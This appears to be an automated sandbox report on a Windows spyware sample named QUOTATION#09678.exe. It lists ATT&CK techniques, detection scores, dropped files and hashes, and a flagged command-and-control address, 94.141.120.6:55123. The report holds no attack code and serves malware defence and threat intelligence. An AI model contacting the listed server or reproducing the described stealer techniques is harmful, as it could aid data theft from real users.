Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	251 Virtualization/Sandbox Evasion	Security Account Manager	251 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	311 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
QUOTATION#09678.exe	32%	Virustotal		Browse
QUOTATION#09678.exe	29%	ReversingLabs	Win64.Trojan.Generic
QUOTATION#09678.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
94.141.120.6:55123	16%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://ipinfo.io/ip%appdata%	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
94.141.120.6:55123	true	16%, Virustotal, Browse	unknown
http://94.141.120.6:55123/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true	0%, Virustotal, Browse	unknown
https://duckduckgo.com/chrome_newtab	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	0%, Virustotal, Browse	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.datacontract.org/2004/07/	InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/EnvironmentSettings	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://api.ip.sb	InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.sb/geoip	InstallUtil.exe, 00000005.00000002.2386917577.00000000030B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	InstallUtil.exe, 00000005.00000002.2386917577.00000000030CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://upx.sf.net	Amcache.hve.10.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/SetEnvironment	InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/GetUpdates	InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
http://94.141.120.6:55123t-	InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://94.141.120.6:55123	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000030F1000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2386917577.00000000031DE000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ipify.orgcookies//settinString.Removeg	QUOTATION#09678.exe, 00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Endpoint/VerifyUpdate	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/0	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp819F.tmp.5.dr, tmp49EE.tmp.5.dr, tmp4A0F.tmp.5.dr, tmp49FE.tmp.5.dr, tmp814F.tmp.5.dr, tmpB88F.tmp.5.dr, tmpB87F.tmp.5.dr, tmp817E.tmp.5.dr, tmp4A40.tmp.5.dr, tmp4A20.tmp.5.dr, tmpB8AF.tmp.5.dr, tmpB8B0.tmp.5.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	InstallUtil.exe, 00000005.00000002.2386917577.0000000003061000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
94.141.120.6	unknown	Russian Federation		43429	UNITLINE_RST_NET1RostovnaDonuRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1546607
Start date and time:	2024-11-01 08:36:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	QUOTATION#09678.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@12/55@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 87% Number of executed functions: 34 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31, 13.89.179.12
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:37:00	API Interceptor	22x Sleep call for process: powershell.exe modified
03:37:08	API Interceptor	167x Sleep call for process: InstallUtil.exe modified
03:37:21	API Interceptor	1x Sleep call for process: WerFault.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNITLINE_RST_NET1RostovnaDonuRU	hidakibest.ppc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.mips.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	94.141.123.127
	hidakibest.arm7.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.arm6.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.arm5.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.sparc.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	hidakibest.mpsl.elf	Get hash	malicious	Gafgyt, Mirai	Browse	94.141.123.127
	fd5P4igezR.exe	Get hash	malicious	Stealc	Browse	94.141.122.159

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_QUOTATION#09678._f7e8cda497f49dbb58f08b576154eda73825fe_24f8ed17_c8c4fc4d-e9f8-4af6-abaf-2ae8e4f23469\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.1608028789566174
Encrypted:	false
SSDEEP:	192:EeY6yRVjLu0UnUVaWBHp8SQOAdzuiFGZ24lO8iyn:y6AjhUnUVamHCewzuiFGY4lO8iE
MD5:	36967E12668E84FC32C034B1194C10F2
SHA1:	9A79E6BAC06315F74DD2BF3E480E2024D0BB3777
SHA-256:	D62F298F65F5F7E19BCDE2F8E726351389ABC90AF42DC96F012308065138FF9A
SHA-512:	DCA389D314951E90F0183F5E28C62657A323E3D2AECC2EF17E6D10F6CDE43B4E66F4A49AE5B3EB93B1F3BA50317D86F277768D269E641454CE01470FD42C00B9
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.9.2.0.2.1.9.0.9.9.5.6.6.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.9.2.0.2.2.0.0.5.2.6.9.3.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.8.c.4.f.c.4.d.-.e.9.f.8.-.4.a.f.6.-.a.b.a.f.-.2.a.e.8.e.4.f.2.3.4.6.9.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.4.b.8.6.c.d.6.f.-.b.9.a.1.-.4.a.1.7.-.9.8.f.d.-.7.e.b.7.f.a.4.7.e.3.9.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.Q.U.O.T.A.T.I.O.N.#.0.9.6.7.8...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.F.u.c.k.i.n.g.S.h.i.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.2.f.c.-.0.0.0.1.-.0.0.1.4.-.e.9.7.4.-.7.f.d.3.3.0.2.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.7.e.3.7.a.6.c.6.3.8.f.5.6.b.c.f.2.3.e.8.5.7.0.f.c.8.f.1.1.f.3.3.0.0.0.0.0.0.0.0.!.0.0.0.0.8.d.0.6.3.8.e.3.3.d.d.5.9.0.d.0.c.a.6.a.d.6.9.1.8.d.7.e.3.e.2.5.7.6.2.6.1.3.d.4.!.Q.U.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9462.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 16 streams, Fri Nov 1 07:36:59 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	470911
Entropy (8bit):	3.249024640208639
Encrypted:	false
SSDEEP:	3072:i+WrdRXuLcSKkKXG/MH1CCqbvJkF9i3+v/fGJq0G4Cje54eUPRR:i+UdE/JKWsqbhV3Q/fGIlbjF
MD5:	0A12F58330F68D448F371FC0C66A9F40
SHA1:	4F56BEDBB1297EF8150F35F919EFEDB047D46E21
SHA-256:	143A69E5E35D1869EE128DD1B8176BCC1731CDC29840C0BFDFD6B90EA47E0C23
SHA-512:	10157198B77DC91758D50FA3C3CDAD72C331B0462BB37FC612013F44055E20CB16B33194BE6D08BB9470DFFD0BF4AB619B3A9D715CFFFE51460C06A4CB21707A
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .........$g............t.......................$...p%...........%......4L.............l.......8...........T...........P8../...........xC..........dE..............................................................................eJ.......E......Lw......................T.............$g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9703.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8618
Entropy (8bit):	3.712792393828607
Encrypted:	false
SSDEEP:	192:R6l7wVeJNEx6YEI1gudKGgmfl4eprX89bp0dfQDm:R6lXJux6YEKguhgmfl47pefJ
MD5:	CDFEBF42014F032506CE261DAB49E4AC
SHA1:	AAFA804FF69EAF40F5EF0DF8A2A1263769DC3598
SHA-256:	35D27EAA28A38849073C2514DFCD7D81760500C83819ED5F78641F2C3E1A5B13
SHA-512:	A6FDE683B74909D390F78A056A91130514C7AB1BCE3CC1FF4DC476BA20FAAE00BEF0008A7E028DB4E6D9ED068E31E26CFF6A89F1C0E28B2D0328EE2542B5BBC2
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.4.<./.P.i.d.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9742.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4789
Entropy (8bit):	4.55823529889686
Encrypted:	false
SSDEEP:	48:cvIwWl8zsiJg771I9VSWpW8VYqsYm8M4JhQp+FRyq859a1qw0w0hd:uIjfwI7Kz7VhpJhQEegqw0w0hd
MD5:	054396C45365C618803C22DA6B393460
SHA1:	1789354EE1BDC0A6CEAA5D58EC052FD97B72E750
SHA-256:	7E9B92858627C2282B2B6189757528FECE767F12577F5C233219EED9C25C8296
SHA-512:	6197697A8BDD3CEE2F03B43088A6BCA3C0108136B1A9E25E3635183CE0B663F0D7A3AB78A644BCD6A2968009E5A17715F2E0CF591828A138577E7717058631D0
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="568719" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHjHKx1qHpHsLU:vq5qxqdqolqztYqh3oPtI6mq7qoT5DqO
MD5:	99EF806358EC635615FCC973DA805A5D
SHA1:	3D5E802B056A5CABB53707A30D60F9E8294CEC13
SHA-256:	99957E097E6DB3573742EFD7B473D80998DE5AEF0E473D2C505EBBB1252E8285
SHA-512:	7B340970383EB8685E2D3ADFE94E1B253DF7444ACA6EEA5859ED2DFFBCBCAFECE645961FF0C76E365EBA8ABF7A6444414E8D97363CC09BD34362E234DC51F21E
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xpgwqxv.fvz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cl0uf5e1.v3l.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
